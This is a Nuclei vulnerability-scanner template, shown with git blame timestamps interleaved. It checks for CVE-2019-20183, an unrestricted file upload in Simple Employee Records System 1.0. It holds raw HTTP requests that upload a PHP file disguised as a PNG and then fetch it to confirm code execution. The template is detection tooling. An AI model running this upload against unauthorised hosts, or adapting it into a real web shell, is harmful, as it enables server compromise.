nuclei-templates/http/cves/2019/CVE-2019-20183.yaml

68 lines
2.8 KiB
YAML
Raw Normal View History

id: CVE-2019-20183
2021-03-01 11:40:03 +00:00
info:
name: Simple Employee Records System 1.0 - Unrestricted File Upload
2023-06-15 11:20:01 +00:00
author: pikpikcu,j4vaovo
severity: high
2022-06-20 16:38:15 +00:00
description: |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
2023-09-06 12:53:28 +00:00
remediation: |
Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
reference:
- https://www.exploit-db.com/exploits/49596
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
- https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2019-20183
cwe-id: CWE-434
epss-score: 0.03815
epss-percentile: 0.91874
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: employee_records_system_project
product: employee_records_system
2024-01-14 09:21:50 +00:00
tags: cve,cve2019,edb,rce,fileupload,intrusive,employee_records_system_project
2021-03-01 11:40:03 +00:00
http:
2021-03-01 11:40:03 +00:00
- raw:
- |
POST /dashboard/uploadID.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
2021-09-09 06:36:24 +00:00
X-Requested-With: XMLHttpRequest
2021-03-01 11:40:03 +00:00
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
Content-Type: image/png
<?php
2023-06-18 15:20:25 +00:00
echo md5('CVE-2019-20183');
2023-06-15 11:20:01 +00:00
unlink(__FILE__);
2021-03-01 11:40:03 +00:00
?>
-----------------------------5825462663702204104870787337--
- |
2023-06-15 11:21:28 +00:00
GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
2021-03-01 11:40:03 +00:00
Host: {{Hostname}}
matchers:
2023-06-15 11:20:01 +00:00
- type: word
2023-06-15 11:21:28 +00:00
part: body_2
2023-06-15 11:20:01 +00:00
words:
2023-06-18 15:20:25 +00:00
- "1ad0d710225c472cb7396b3c1d97e4dd"
2023-07-11 19:49:27 +00:00
extractors:
- type: regex
name: endpoint
regex:
- '(?:[a-zA-Z0-9+\/])*_poc.php'
internal: true
part: body
# digest: 490a0046304402200a8af24918bdecd514780fb1a475fe5400019d917ea54e2d5a65842b5a54a5ac02207d52ab92bdde0b732c1b66fc690f6dcbe7ca2389980e4d7fea23f5e2ab6b1cfd:922c64590222798bb761d5b6d8e72950